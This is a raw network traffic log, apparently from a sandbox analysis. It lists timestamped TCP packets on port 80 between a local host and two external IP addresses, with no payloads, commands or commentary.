Dec 19, 2024 20:11:51.616930962 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.616955996 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.617609978 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.617883921 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.617929935 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.618323088 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.618519068 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.619024038 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.619146109 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.619163036 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.619191885 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.619211912 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.620026112 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.620151043 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.620198011 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.620871067 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.621171951 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.621218920 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.621715069 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.621758938 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.622148991 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.622529984 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.622589111 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.622632980 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.622792959 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.622836113 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.623447895 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.623491049 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.623564005 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.623609066 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.624718904 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.624736071 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.624763966 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.624778032 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.625269890 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.625314951 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.625327110 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.625370026 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.626072884 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.626136065 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.626348972 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.626394987 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.626966953 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.627145052 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.627191067 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.627861977 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.628247976 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.628297091 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.628691912 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.629689932 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.629709959 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.629741907 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.629755974 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.629823923 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.629869938 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.630433083 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.630477905 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.630542994 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.631342888 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.631392002 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.632240057 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.632255077 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.632302046 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.632329941 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.632374048 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.633003950 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.633136988 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.633177996 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.633882999 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.634171963 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.634217978 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.634748936 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.634949923 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.634994030 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.635629892 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.636097908 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.636145115 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.636517048 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.636532068 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.636564970 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.636590958 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.637448072 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.637495995 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.638202906 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.638248920 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.638324976 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.638340950 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.638372898 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.639095068 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.639202118 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.639246941 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.640125990 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.640171051 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.640429974 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.640862942 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.640908957 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.641020060 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.641730070 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.641777992 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.641855955 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.641923904 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.642555952 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.646522999 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.765124083 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:51.790383101 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.790492058 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.790564060 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.790802002 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.790860891 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.790992975 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.791150093 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.791709900 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.791776896 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.791907072 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.792028904 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.792572021 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.792634010 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.793118000 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.793174028 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.793412924 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.793488979 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.793572903 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.793617010 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.794401884 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.794526100 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.794575930 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.795133114 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.796001911 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.796108961 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.796149015 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.796185017 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.796199083 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.796335936 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.796459913 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.796520948 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.796907902 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.796955109 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.797163963 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.797213078 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.797796965 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.797852993 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.798646927 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.798662901 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.798712015 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.798800945 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.800263882 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.800323963 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.800400019 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.800437927 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.800462961 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.800487995 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.800721884 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.800765038 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.801213980 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.801258087 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.801362991 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.801404953 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.802149057 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.802165031 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.802203894 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.802227974 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.802963972 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.803214073 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.803278923 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.803841114 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.803903103 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.804030895 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.804529905 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.804723024 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.804842949 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.804969072 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.805641890 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.805764914 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.805815935 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.806442022 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.806485891 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.806907892 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.807327032 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.807379961 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.807554007 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.808180094 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.808228970 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.808335066 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.808378935 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.809094906 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.809252977 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.809314966 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.809916019 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.810005903 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.810012102 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.810115099 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.810771942 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.810957909 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.811284065 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.811338902 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.811654091 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.811707973 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.811765909 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.812088013 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.812599897 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.812647104 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.812829971 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.813050032 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.813355923 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.813399076 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.813965082 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.814008951 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.814260960 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.814276934 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.814317942 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.814317942 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.815139055 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.815362930 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.815409899 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.816066027 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.816081047 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.816123009 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.816838980 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.816947937 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.816994905 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.817923069 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.818062067 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.818090916 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.818128109 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.818578959 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.818625927 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.818799973 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.818955898 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.819837093 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.819935083 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.820200920 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.820249081 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.820357084 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.820399046 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.820461035 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.820502043 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.821208000 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.821386099 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.821439981 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.822089911 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.822138071 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.822278023 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.822328091 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.822953939 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.823004007 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.823184013 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.823240042 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.823894024 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.823930025 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.823978901 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.824662924 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.825660944 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.825694084 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.825727940 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.825741053 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.825776100 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.826436996 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.826484919 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.826550007 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.827266932 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.827327013 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.828133106 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.828254938 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.828288078 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.828305960 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.828722000 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.829034090 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.829159021 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.829329967 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.829416037 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.829993963 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.830059052 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.830136061 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.830303907 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.830770969 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.830831051 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.831037998 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.831089973 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.831636906 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.831773996 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.831830025 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.832509995 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.832578897 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.832642078 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.832693100 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.833369970 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.833487034 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.833549976 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.833784103 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.834214926 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.834275007 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.834325075 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.834534883 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.835092068 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.835197926 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.835242987 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.835980892 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.838063955 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.884838104 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:51.885663033 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:51.886737108 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:51.982778072 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.982841969 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.982947111 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.983184099 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.983259916 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.983335018 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.983962059 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.984019041 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.984107971 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.984690905 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.984749079 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.985347033 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.985594988 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.985630989 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.985656023 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.985690117 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.986416101 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.986521006 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.987365961 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.987401009 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.987421989 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.987447977 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.988249063 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.988284111 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.988322020 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.988348961 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.988368034 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.988375902 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.989167929 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.989222050 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.989881039 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.989934921 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.990082979 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.990115881 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.990133047 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.990160942 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:51.990766048 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.990860939 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:51.990921974 CET	49877	80	192.168.2.4	31.41.244.11
